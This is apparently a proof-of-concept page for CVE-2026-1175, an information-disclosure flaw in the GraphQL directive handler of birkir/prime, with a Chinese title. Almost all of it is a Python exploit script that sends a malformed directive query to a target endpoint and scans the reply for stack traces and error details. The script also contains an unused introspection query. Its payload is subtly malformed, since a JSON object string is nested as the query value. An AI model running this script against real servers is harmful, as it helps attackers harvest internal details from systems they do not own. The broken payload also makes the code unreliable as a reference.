CVE-2026-1175 birkir prime GraphQL指令处理器信息泄露漏洞

import requests import json # CVE-2026-1175 PoC - GraphQL Information Disclosure # Target: birkir/prime <= 0.4.0.beta.0 TARGET_URL = "http://target.com/graphql" # Malicious GraphQL query to trigger error message malicious_query = ''' { __schema { queryType { name fields { name } } } } ''' # Alternative: Trigger directive handler error error_trigger_query = ''' { "query": "{ @invalidDirective }" } ''' def exploit(): headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Send malicious query response = requests.post( TARGET_URL, headers=headers, data=json.dumps({"query": error_trigger_query}), timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Check for information disclosure in error message if any(keyword in response.text.lower() for keyword in ["stack", "trace", "error", "exception"]): print("[+] Information disclosure detected!") return True return False if __name__ == "__main__": exploit()